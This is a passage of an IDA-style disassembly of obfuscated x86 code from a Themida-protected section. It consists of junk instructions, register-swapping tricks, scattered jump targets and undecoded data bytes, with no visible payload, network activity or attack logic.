		pop	ebp
		add	edi, 0FAD5534h
		jmp	loc_560EF7
; ---------------------------------------------------------------------------
		dd 855786BAh, 0F74A4A0Fh, 0C28142DAh, 0FF851FBDh, 148BD329h
		dd 4C48324h, 1EBBE9h, 814E4E00h, 7F0E24C6h, 0E9DEF72Ch
		dd 0DC8h
; ---------------------------------------------------------------------------


loc_56DD70:				; CODE XREF: Themida_:005659F1j
		mov	[esp], edx
		jmp	loc_55EFD3
; ---------------------------------------------------------------------------
		dd 0C4045966h, 0C42CD000h, 24E9CF2Ch, 81FFFF1Ah, 4C3h
		dd 4C38300h, 8B241C87h,	0FF502424h, 58042474h, 0FF68D0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56DDA1:				; CODE XREF: Themida_:0055FA48j
		shr	eax, 10h
		xor	eax, ecx
		jmp	loc_56B097
; ---------------------------------------------------------------------------
		db 0F7h
		dd 5CC181D9h, 0E942901Ah, 0FFFF91B8h
; ---------------------------------------------------------------------------


loc_56DDB8:				; CODE XREF: Themida_:0056EDE6j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	esi
		not	dword ptr [esp]
		pop	esi
		xor	esi, edi
		xor	edi, esi
		xor	esi, edi
		not	edi
		xchg	edi, esi
		jmp	loc_57114D
; ---------------------------------------------------------------------------


loc_56DDDC:				; CODE XREF: Themida_:0056D96Aj
		xor	esi, ebx
		xor	ebx, esi
		xor	esi, ebx
		jmp	loc_561F17
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483240Ch, 55E95704h
		db 74h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DDF3:				; CODE XREF: Themida_:00568D71j
		push	esi
		xor	dword ptr [esp], 85A5CEBh
		jmp	loc_56FABE
; ---------------------------------------------------------------------------


loc_56DE00:				; CODE XREF: Themida_:0056B5B6j
		add	esp, 4
		add	esp, 4
		jmp	loc_55FA70
; ---------------------------------------------------------------------------


loc_56DE0E:				; CODE XREF: Themida_:005633BEj
		mov	ebp, 12F152DDh
		jmp	loc_572141
; ---------------------------------------------------------------------------
		dd 0FA29BD55h, 0E931595Ah, 0E9242C8Bh, 1040h, 7045BBBFh
		dd 5FFE29A0h, 0FF721FE9h, 0B95153FFh, 44340849h, 98E98141h
		dd 8174F901h, 39591FE1h, 8E1C153h, 7BF3C181h, 0CB89AEF5h
		dd 5BDF0159h, 835FF901h, 0C3304C1h, 240C3124h, 5C240C33h
		dd 8351E9F7h, 7E904ECh,	0B9FFFF42h, 8282813h, 21C5C981h
		dd 0E1D179BBh, 0E1C1D9F7h, 0BE5606h, 29000000h,	5EF189CEh
		dd 0EB7CE981h, 0C381DD94h, 205D64D5h, 65F3C381h, 0CB017702h
		dd 65F3EB81h, 0BA527702h, 205D64D5h, 0FFF84BE9h, 58C589FFh
		dd 5558C501h, 5D240CFFh, 31BA5251h, 894F7B5Dh, 0E1815AD1h
		dd 52C450D2h, 0E9C1D1F7h, 0FED1E906h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DEDA:				; CODE XREF: Themida_:0056F027j
		push	ebx
		jmp	loc_55E2FB
; ---------------------------------------------------------------------------
		dd 7EB1BF57h, 0FD29645Dh, 6850595Fh, 4,	0FF8335E9h, 4EC8BEFFh
		dd 0F02902C0h, 56D8015Eh, 9C0ADBBEh, 14F7562Ch,	0C29E924h
		dd 4B8FFFFh, 1000000h, 24048BC1h, 5704C483h, 0C502F3BFh
		dd 95D2E937h, 0E981FFFFh, 5EFF30E5h, 0C181D101h, 5EFF30E5h
		dd 81D9F75Ah, 7ED557E9h, 59CB89C2h, 0C8DE943h, 0C483FFFFh
		dd 82ADE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DF4E:				; CODE XREF: Themida_:0056DFF8j
		push	dx
		push	ax
		mov	al, 0F2h
		mov	dl, al
		pop	ax
		xor	ch, dl
		pop	dx
		xor	dl, ch
		jmp	loc_56F372
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0BF243C89h, 2, 0FF2CB5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56DF71:				; CODE XREF: Themida_:00568346j
		pop	esp
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_55CEC5
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48324h, 4EC81h, 2C890000h,	0B5BE5624h, 557C3136h
		dd 0CD119CBDh, 5DEE01F6h, 0FF9489E9h, 0D4F281FFh, 31AA1C5Ch
		dd 0C0E2E9D0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DFB2:				; CODE XREF: Themida_:00568364j
		sub	ebx, 6C492B38h
		pop	ecx
		push	17DAh
		mov	[esp], edi
		push	eax
		mov	eax, 2
		push	eax
		jmp	loc_569C20
; ---------------------------------------------------------------------------
		db 0BEh, 4Eh, 73h
		dd 0F74E27E3h, 91F681DEh, 811B1B5Dh, 1A429EC6h,	5EF029A1h
		dd 0FFBF55E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56DFE9:				; CODE XREF: Themida_:00570874j
		mov	esi, 56297616h
		jmp	loc_56D696
; ---------------------------------------------------------------------------


loc_56DFF3:				; CODE XREF: Themida_:0055E7E8j
		mov	[esp], ecx
		mov	ch, 8Fh
		jmp	loc_56DF4E
; ---------------------------------------------------------------------------
		db 58h,	81h, 0C1h
		dd 0FFFFFFFFh, 1080E9h,	24143300h, 33241431h, 248B2414h
		dd 4216624h, 0A6E99C24h, 57FFFEEEh, 0C781E789h,	4, 8704EF83h
		dd 88E9243Ch
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E033:				; CODE XREF: Themida_:00565226j
		push	esi
		mov	esi, 57F27E2Dh
		xor	esi, 4E880D30h
		jmp	loc_57066E
; ---------------------------------------------------------------------------
		dd 0CD3039BDh, 0EF5EE970h, 2C89FFFEh, 2474FF24h, 2434FF04h
		dd 2E2BE9h
		db 0
; ---------------------------------------------------------------------------


loc_56E05D:				; CODE XREF: Themida_:0056420Ej
		mov	ebx, 1
		mov	edi, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_55DDCD
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C1382424h, 0EE47E99Ch, 0C8BFFFEh, 4C48124h,	1000000h
		dd 2434FFD0h, 0FF8616E9h, 0F83058FFh, 96A8E95Bh, 48BFFFFh
		dd 0E1895124h, 4C181h, 26E90000h, 48FFFFAFh, 0FFD2C4E9h
		dd 0CE815AFFh, 3E024465h, 66C681h, 0BF572A7Eh, 688047C9h
		dd 3C8BFE31h, 4C48324h,	0FF509FE9h, 240487FFh, 8924248Bh
		dd 0AAB42404h, 57506866h, 0FF1A27E9h, 24148BFFh, 4C481h
		dd 0F3800000h, 0F82BE992h, 0D689FFFEh, 5EF5095Ah, 322ED81h
		dd 0C781BB5Ah, 5CA5E91h, 0B850EF29h, 5FA10D1h, 3505E0C1h
		dd 0BA8844B1h, 8B58C729h, 0C481242Ch, 4, 835FFB01h, 1C8904ECh
		dd 2474FF24h, 48F5B04h,	24248B24h, 3A4B68h, 240C8900h
		dd 2CE9008Fh, 29FFFF4Fh, 24FE9F3h, 0E788FFFFh, 0FF128AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E155:				; CODE XREF: Themida_:0055D0ECj
		sub	eax, ebx
		sub	eax, 4D4E0FBAh
		mov	ebx, eax
		jmp	loc_569F56
; ---------------------------------------------------------------------------
		db 0FFh
		dd 5E042474h, 8B24048Fh, 4312424h, 3E34E924h, 7968FFFFh
		dd 89000058h, 5954240Ch, 4C181h, 0C1830000h, 240C8704h
		dd 8324248Bh, 0C8704C1h, 24248B24h, 0FFDF1CE9h,	1DF381FFh
		dd 0E918E0C5h, 0FFFFEEEAh
; ---------------------------------------------------------------------------


loc_56E1A8:				; CODE XREF: Themida_:0056153Cj
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_564636
; ---------------------------------------------------------------------------


loc_56E1B9:				; CODE XREF: Themida_:005725E8j
		pop	ecx
		sub	edx, esi
		mov	esi, [esp]
		jmp	loc_56C093
; ---------------------------------------------------------------------------


loc_56E1C4:				; CODE XREF: Themida_:0056504Fj
		mov	esi, 7E430FB5h
		not	esi
		sub	esi, 1
		shr	esi, 8
		add	esi, 4E4403E4h
		push	ebx
		mov	ebx, 68F2135Eh
		jmp	loc_56508F
; ---------------------------------------------------------------------------
		dw 0E95Ah
		dd 2AF9h, 3B75EA81h, 0FF59257Fh, 815E2434h, 4C4h, 0AFEDE900h
		dd 34FFFFFFh, 0C4815F24h, 4, 16A3E9h, 0B2E95A00h
		db 0ECh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56E213:				; CODE XREF: Themida_:00572229j
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_55CEC5
; ---------------------------------------------------------------------------
aLSf		db '‹,$é”$',0
		dd 0E1814100h, 55A514E6h, 0F681C181h, 5EE98F7Bh
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56E247:				; CODE XREF: Themida_:0056030Aj
		push	edi
		mov	edi, 555D10D4h
		jmp	loc_560BD3
; ---------------------------------------------------------------------------
		dw 0E189h
		dd 4C181h, 0BB530000h, 691D3C50h, 259E6850h, 25586B74h
		dd 437C4D84h, 0D2387C0Dh, 4E0C127h, 1684E940h, 1C330000h
		dd 241C3124h, 0E9241C33h, 0FFFF235Fh, 5E04C483h, 5255D829h
		dd 0FF90E7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E295:				; CODE XREF: Themida_:00569731j
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 4
		add	edi, ecx
		jmp	loc_56D485
; ---------------------------------------------------------------------------
		dw 535Ah
		dd 0FFE3DAE9h, 80D2F6FFh, 0EA8009F2h, 80DAF64Eh, 2E9B5F2h
		dd 2CFFFF20h, 0B7536614h, 7F2CC5h, 667F04F8h, 240C8B5Bh
		dd 4EC81h, 0C890000h, 0E9E18924h, 0FFFFE9ADh, 4B8h, 0E9C10100h
		dd 0FFFFED18h, 7E16BE0Dh, 1AF30552h, 0D8F75FBEh, 6D480548h
		dd 0C2294B90h, 0FFBA47E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E30D:				; CODE XREF: Themida_:0056F15Cj
		mov	esi, 4
		jmp	loc_5656B9
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0E95003E7h, 0FFFF1DE4h, 4B211DBDh, 9CD8152h,	81698200h
		dd 12290AE5h, 0AD6BE95Dh, 0C483FFFFh, 8BEA0104h, 0E952242Ch
		dd 0FFFF1B03h, 5E08950h, 4, 0FFF7DEE9h,	240481FFh, 4, 4C18159h
		dd 50000000h, 0FF4A5DE9h, 0C0B60FFFh, 0E98734FFh, 3BCh
		dd 67E957ADh, 4DFFFFA7h, 0FFD2C4E9h, 241489FFh,	0C68070B6h
		dd 1DB753AEh, 0FFB819E9h, 240489FFh, 55E9E089h
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E397:				; CODE XREF: Themida_:0057077Dj
		add	ecx, 85E492FFh
		xor	edx, ecx
		pop	ecx
		jmp	loc_5663DC
; ---------------------------------------------------------------------------
		db 33h,	34h, 24h
		dd 0FF7C3DE9h, 243489FFh, 0DC568h, 242C8900h, 0FFB6FCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E3BD:				; CODE XREF: Themida_:00571F9Aj
		push	ebp
		mov	ebp, 10844625h
		jmp	loc_56B3C0
; ---------------------------------------------------------------------------


loc_56E3C8:				; CODE XREF: Themida_:00565208j
		push	ebp
		mov	ebx, [esp]
		push	eax
		jmp	loc_56B2E2
; ---------------------------------------------------------------------------


loc_56E3D2:				; CODE XREF: Themida_:00568B83j
		mov	[esp], ebx
		jmp	loc_5637AA
; ---------------------------------------------------------------------------


loc_56E3DA:				; CODE XREF: Themida_:00561CC2j
		mov	[esp], ebp
		push	358Bh
		mov	[esp], ebx
		jmp	loc_569882
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 4ECh, 240C8900h, 4B9h, 59CA2900h, 5E08950h, 4, 8704E883h
		dd 0E95C2404h, 0FFFEEDDFh, 23B1E981h, 815A7B50h, 4E9h
		dd 240C8700h, 0FFBD96E9h, 0EC581FFh, 0E97FEA3Bh, 0FFFFE1FBh
		dd 3BFD68h, 242C8900h, 0FF6C49E9h, 241433FFh, 5624248Bh
		dd 0C681E689h, 4, 8704C683h, 0FF5C2434h, 48B2434h, 0E3895324h
		dd 11A6E9h, 4452C00h, 2CD828EEh, 2D0EE9EEh, 565AFFFFh
		dd 0FEF4E8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E475:				; CODE XREF: Themida_:0055F764j
		pop	esi
		jmp	loc_56931F
; ---------------------------------------------------------------------------


loc_56E47B:				; CODE XREF: Themida_:00564D5Aj
		mov	ebp, 71DF082Eh
		sub	ebx, ebp
		pop	ebp
		add	ecx, 1A4F7ACDh
		push	eax
		push	ecx
		mov	ecx, 594E70E3h
		xor	ecx, 210211B7h
		mov	eax, ecx
		pop	ecx
		sub	ecx, eax
		pop	eax
		add	ecx, ebx
		push	edi
		mov	edi, 1E5D043Ah
		and	edi, 33A63D60h
		inc	edi
		sub	edi, 99B7A2CDh
		add	ecx, edi
		pop	edi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 1A4F7ACDh
		sub	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_56AEE3
; ---------------------------------------------------------------------------
		db 66h
		dd 0E938B151h, 0FFFFF610h, 797368h, 888AE900h, 0EC83FFFFh
		dd 241C8904h, 7B073FBBh, 0FFC3816Bh, 81FFFFFFh,	0B333EDC3h
		dd 93E956E0h, 41FFFEF7h, 1E981h, 0D1F70000h, 8102E9C1h
		dd 6E27B0E1h, 0E7895706h, 4C781h, 0EF830000h, 243C8704h
		dd 0FF0A38E9h, 2171BBFFh, 0FB87437Dh, 0FB87D7F7h, 0FEF813E9h
		dd 0D2E681FFh, 8138CD52h, 0AF2673F6h, 0E9F3015Eh, 0FFFF8AC0h
; ---------------------------------------------------------------------------


loc_56E548:				; CODE XREF: Themida_:0056042Fj
		xor	ebp, 70820087h
		or	ebp, 6E9B1186h
		and	ebp, 0E2D4FBAh
		jmp	loc_57010D
; ---------------------------------------------------------------------------


loc_56E55F:				; CODE XREF: Themida_:00561CB5j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_55EF4C
; ---------------------------------------------------------------------------


loc_56E570:				; CODE XREF: Themida_:0055F061j
		pop	esp
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_5648A4
; ---------------------------------------------------------------------------
		db 81h
		dd 76642BE9h, 18E9915Ah, 88FFFFFBh, 8BE288ECh, 0C4812404h
		dd 4, 0E1E9D788h
		db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E5A7:				; CODE XREF: Themida_:00562B49j
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_56B794
; ---------------------------------------------------------------------------
		db 57h,	89h, 0E7h
		dd 4C781h, 0EF830000h, 243C8704h, 0FF2777E9h, 0A9F381FFh
		dd 0E91497E6h, 0FFFF67EBh
; ---------------------------------------------------------------------------


loc_56E5DC:				; CODE XREF: Themida_:005618A3j
		mov	edi, eax
		mov	eax, [esp]
		add	esp, 4
		add	eax, edi
		pop	edi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_56584E
; ---------------------------------------------------------------------------


loc_56E604:				; CODE XREF: Themida_:0056B4B5j
		add	ebp, 3A1815C2h
		pop	ecx
		push	5CB5h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_567DC5
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 5E84E95Ah, 0B951FFFFh, 0A324AF9h, 4359CB29h,	8102E3C1h
		dd 0CB9100EBh, 5BDF318Fh, 11E9FA89h, 56FFFF24h,	1784E9h
		dd 5DEB0100h, 0FF265BE9h, 0C8B66FFh, 72A76824h,	1C890000h
		dd 0E9E38924h, 0FFFFDF7Ah, 240C8B66h, 0E9E28952h, 0FFFF7CCCh
		dd 815A5452h, 4C2h, 0D0BE5600h,	0E9248571h, 0FFFEEDF8h
		dd 0C281E289h, 4, 8702C283h, 2C5C2414h,	3430E998h, 0E289FFFFh
		dd 785F6856h, 0C890000h, 0E776E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E6AA:				; CODE XREF: Themida_:0056286Fj
		push	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp


loc_56E6C9:				; CODE XREF: Themida_:005619E0j
					; Themida_:0056D855j
		push	73DDh
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	ebx
		push	esi
		jmp	loc_56522B
; ---------------------------------------------------------------------------
		dd 0FC089DB7h, 0C0CCFE5Bh, 0F48004E4h, 2CEC8006h, 0FF031DE9h
		dd 0DDF75DFFh, 0E7F58145h, 8981BBAEh, 7D35E9EBh, 0F000FFFFh
		dd 99688A04h, 8900004Ah, 5153240Ch, 0C5FE23B5h,	80EAED80h
		dd 0E580A5F5h, 0E9C5FE74h, 0FFFF7209h, 582434FFh, 1420E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E736:				; CODE XREF: Themida_:0056306Ej
		pop	edx
		push	ebx
		mov	ebx, 4
		jmp	loc_56C867
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 1CC96824h, 1C8B01FCh, 4C48124h, 83000000h, 0A36801C3h
		dd 89000031h, 0BB532434h, 743C4DC2h, 4E73F381h,	0BEE96323h
		dd 87FFFEF4h, 0E95C2434h, 0DC1h, 1F0670BDh, 80ED8159h
		dd 31232164h, 0D0F75DE8h, 0BD56E940h, 815BFFFFh, 116E0BC7h
		dd 53F7817Ch, 0E945F547h, 0FFFF070Fh, 0DAE9F886h, 5EFFFF14h
		dd 71168h, 243C8900h, 214100BFh, 69EF8146h, 81068C32h
		dd 30FD1EFh, 94F78104h,	21683092h, 243C8BF8h, 8304C483h
		dd 1C8904ECh, 304BBB24h, 0D801430Bh, 5B2434FFh,	4EC81h
		dd 4890000h, 6BAE924h, 0CA01FFFFh, 0E9240C8Bh, 3A04h, 51241C8Bh
		dd 0FFBFDCE9h, 4C281FFh, 83000000h, 54E904C2h, 0BEFFFFB2h
		dd 3CD22902h, 2EF68146h, 0C11C917Bh, 0F68104EEh, 215A7E89h
		dd 69D5C581h, 0F5011536h, 0FF7282E9h, 1C77FFFFh, 8324048Bh
		dd 3C8904ECh, 0D5E95424h, 89FFFFDCh, 27BB241Ch,	0E930CE03h
		dd 0FFFF77FEh, 3B3568h,	24348900h, 824F5ABEh, 6EEC172h
		dd 32FEE952h, 0F330FFFFh, 0CCB5515Ah, 0E952E5D0h, 0FFFF8510h
		dd 124248Bh, 0E8015BDDh, 81242C8Bh, 4C4h, 87BD5500h, 0F71A0602h
		dd 0FFBA52DDh, 29FFFFFFh, 55575AD5h, 750B68h, 24148900h
		dd 1BECE9h, 0FFCE0100h,	0E9592434h, 0FFFF46E0h
; ---------------------------------------------------------------------------


loc_56E8B0:				; CODE XREF: Themida_:0056996Bj
		sub	edx, 4B2A590Eh
		and	eax, edx
		pop	edx
		push	edx
		push	esi
		jmp	loc_561726
; ---------------------------------------------------------------------------
		dd 0FF243489h, 5E042474h, 8B24048Fh, 24D22424h,	0EEE99C24h
		dd 0FFFEE5h, 285B66D8h,	667C2CF0h, 0B753665Ah, 66F828F7h
		dd 0FB73E95Bh, 0D888FFFFh, 0FF6414E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E8F5:				; CODE XREF: Themida_:0056594Dj
		push	dword ptr [esp]
		pop	edx
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		push	eax
		push	edi
		mov	edi, 4
		mov	eax, edi
		pop	edi
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		jmp	loc_5687A7
; ---------------------------------------------------------------------------
		dw 0E8B9h
		dd 812B770Ch, 0ECB7DBE9h, 59CB291Ah, 0BA52FB29h, 6F3C5919h
		dd 0C14F281h, 0D3017FB6h, 53E95F5Ah, 0F7FFFF03h, 0E9592414h
		dd 0FFFF8991h, 625C7DBAh, 49F28109h, 926AD10h, 0C4E95AD0h
		dd 81FFFF97h, 4C4h, 80C7FE00h, 526678CFh, 0C7805EB2h, 4168E96Dh
		dd 0C801FFFFh, 24348B59h, 4C481h, 66E90000h, 59000023h
		dd 0FFA2C3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E989:				; CODE XREF: Themida_:005607C6j
		or	esi, 79287437h
		xor	esi, 70662A3Ah
		sub	esi, 0D11F22A8h
		mov	eax, esi
		mov	esi, [esp]
		add	esp, 4
		add	eax, 0F5E2EA11h
		mov	ecx, eax
		pop	eax
		sub	esi, 3CCF49A0h
		jmp	loc_56C1CD
; ---------------------------------------------------------------------------
		dw 34FFh
aS?		db '$é?"',0
		align 2


loc_56E9BE:				; CODE XREF: Themida_:0056459Bj
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_56642B
; ---------------------------------------------------------------------------


loc_56E9F1:				; CODE XREF: Themida_:00563C71j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_56DA35
; ---------------------------------------------------------------------------
		db 5Ch,	1, 0E9h
		dd 240C875Dh, 4C4815Ch,	0FF000000h, 0E4ABE930h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56EA1A:				; CODE XREF: Themida_:00562778j
		add	esp, 4
		jmp	loc_5678C0
; ---------------------------------------------------------------------------


loc_56EA25:				; CODE XREF: Themida_:0056243Bj
		mov	esi, 7F1A69E1h
		neg	esi
		or	esi, 59262CFFh
		add	esi, 36F15A03h
		sub	ecx, esi
		pop	esi
		shr	ecx, 1
		xor	ecx, 67DA5A0h
		mov	ebp, 49E6D7CCh
		jmp	loc_55DAF2
; ---------------------------------------------------------------------------
		db 0C1h, 0E9h, 2
		dd 0C4F5E981h, 0EA68E3CAh, 0E900003Ah, 0FFFEECF0h, 4BAh
		dd 5AD68900h, 73EBC781h, 86682017h, 0E9000021h,	0FFFFC363h
		dd 0E557E953h, 4BEFFFEh, 0E9000000h, 0FFFF9DAEh
; ---------------------------------------------------------------------------


loc_56EA88:				; CODE XREF: Themida_:005639E7j
		mov	edx, 23541E3Bh
		sub	[esp+8], edx
		jmp	loc_55E5BC
; ---------------------------------------------------------------------------


loc_56EA96:				; CODE XREF: Themida_:00561968j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_572503
; ---------------------------------------------------------------------------
		dd 3C8BFA31h, 0E3895324h, 4C381h, 0C3830000h, 544EE904h
		dd 815EFFFFh, 0FA38BEAh, 5AD7016Ch, 5E8968h, 243C8900h
		dd 42474FFh, 81243C8Bh,	4C4h, 1CA4E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56EADE:				; CODE XREF: Themida_:0056C6CAj
		push	esi
		jmp	loc_56FFDA
; ---------------------------------------------------------------------------
		dd 0CAE95259h, 89FFFFB2h, 1AB82404h, 294590A3h,	0D53158C2h
		dd 0FF7950E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56EAFD:				; CODE XREF: Themida_:0056878Bj
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	eax
		jmp	loc_57043D
; ---------------------------------------------------------------------------
		dw 0F901h
		dd 4F24C181h, 53E95469h, 83FFFF7Ah, 0E95704C4h,	0FFFF8882h
; ---------------------------------------------------------------------------


loc_56EB20:				; CODE XREF: Themida_:00561589j
		mov	[esp], edi
		push	ebp
		jmp	loc_5693C1
; ---------------------------------------------------------------------------
		db 59h,	33h, 14h
		dd 24143124h, 0E9241433h, 0FFFEF1A3h, 0FFFFB951h, 0C681FFFFh
		dd 9A0178Eh, 0EE81CE29h, 9A0178Eh, 6DF68159h, 1A946CBh
		dd 2434FFF0h, 2462E95Eh, 505EFFFFh, 0FEF966E9h,	0EF3058FFh
		dd 7DE95359h, 68FFFFAFh, 2, 83243C8Bh, 0FE0104C4h, 81243C8Bh
		dd 4C4h, 24343300h, 33243431h, 248B2434h, 0A30F6624h, 0E99C2404h
		dd 0FFFEE329h, 0C381CB01h, 12E170CEh, 0FFCF60E9h, 39F381FFh
		dd 816A822Dh, 0F312FAEBh, 5BD931E3h, 354CE9h, 0E9D78800h
		dd 1384h, 8101C183h, 7F591AE9h,	59CE09A1h, 0BB53D6F7h
		dd 1BAD62B6h, 0FF5F61E9h, 4C483FFh, 332568h, 240C8900h
		dd 42474FFh, 24048F59h,	9D05E95Ch, 348BFFFFh, 4C48324h
		dd 0FFC410E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56EC01:				; CODE XREF: Themida_:00561C67j
		push	esi
		pop	ebx
		pop	esi
		add	edx, ebx
		pop	ebx
		push	eax
		jmp	loc_56F161
; ---------------------------------------------------------------------------
		db 5Fh,	57h, 68h
		dd 126A72F5h, 0E9DFF75Fh, 0FFFFD15Ah
; ---------------------------------------------------------------------------


loc_56EC1C:				; CODE XREF: Themida_:005635C2j
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_56C800
; ---------------------------------------------------------------------------
		db 88h
		dd 0CD805BFDh, 9A0EE955h, 0FD89FFFFh, 0E92434FFh, 0FFFFE011h
; ---------------------------------------------------------------------------


loc_56EC3C:				; CODE XREF: Themida_:00563FD0j
		mov	[esp], ebx
		mov	ebx, 13C117F6h
		jmp	loc_56B8E5
; ---------------------------------------------------------------------------
aQOr		db 'Q¹ o',0
		db 29h
		dd 0C58159CDh, 0CA6AAD39h, 2C8BE909h, 4C48324h,	0FF8300E9h
		dd 85B1FFh, 5966C8h, 24048BC3h,	4C481h,	0B2520000h, 0F7CA8000h
		dd 5066E2D0h, 19E951B0h, 89FFFF12h, 3268243Ch, 0E9594800h
		dd 0FFFF355Eh, 40C168h,	24148900h, 0AFC9E956h, 0EB80FFFFh
		dd 9DE95134h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56ECAB:				; CODE XREF: Themida_:0056EE52j
		add	dword ptr [esp+4], 3C0C41BBh
		sub	[esp+4], ecx
		sub	dword ptr [esp+4], 3C0C41BBh
		jmp	loc_56C170
; ---------------------------------------------------------------------------
		dd 34FFCF89h, 2FFEE924h, 48B0000h, 0E1895124h, 4C181h
		dd 0C1830000h, 240C8704h, 0F7BD555Ch, 83263402h, 685101C5h
		dd 6EB6684Fh, 59CD0959h, 1BAE94Dh, 0EC830000h, 241C8904h
		dd 1F90E956h, 0C483FFFFh, 81555004h, 2E912434h,	48B7063h
		dd 4C48124h, 35000000h,	70632E91h, 0E958C789h, 0FFFFD2A2h
		dd 7FE9535Ch, 81FFFF92h, 4C4h, 8EB95100h, 0E914D959h, 0FFFF80A4h
		dd 535DEA01h, 4A7504BBh, 5BDA2977h, 0C281C201h,	774A7504h
		dd 667BEA81h, 0C2811BD9h, 5D24361Ch, 2C28158h, 52000000h
		dd 42474FFh, 24048F5Ah,	0E924248Bh, 0FFFFCECBh,	0E904C483h
		dd 0FFFFF83Dh, 8324048Bh, 0E95A04C4h, 1B67h
; ---------------------------------------------------------------------------


loc_56ED8C:				; CODE XREF: Themida_:0056847Dj
		pop	esi
		jmp	loc_56D824
; ---------------------------------------------------------------------------


loc_56ED92:				; CODE XREF: Themida_:00567C1Aj
		pop	ecx
		sub	edi, 1B4E5D92h
		xor	edi, 0E7B1F26Eh
		sub	edx, edi
		jmp	loc_561C52
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 11126824h, 0E3E90000h, 52FFFEFBh, 904E9h, 808EB700h
		dd 0FD285FC7h, 80DDF65Bh, 3FE970C5h, 0C1FFFFA4h, 0D2F707E2h
		dd 0FC6AF281h, 0D5312531h, 0E9EB295Ah, 0FFFFE724h
		db 8Bh,	34h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_56DDB8
; ---------------------------------------------------------------------------
		db 0ACh
		dd 0B252D830h, 66D2F692h, 2801B753h, 505B66FAh,	4B0C81B0h
		dd 0FEE6DEE9h, 0E0BBE9FFh, 335BFFFEh, 14312414h, 24143324h
		dd 0FEF23FE9h, 0E28952FFh, 0FF480FE9h, 5BD909FFh, 0FFAC85E9h
		dd 555B54FFh, 5A026853h, 3C890000h, 7271E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EE3A:				; CODE XREF: Themida_:0056F0DFj
		pop	edi
		xchg	eax, [esp]
		pop	esp
		imul	cl
		jmp	loc_55D8DF
; ---------------------------------------------------------------------------


loc_56EE46:				; CODE XREF: Themida_:00563D8Aj
		add	esp, 4
		push	ebx
		pop	edx
		pop	ebx
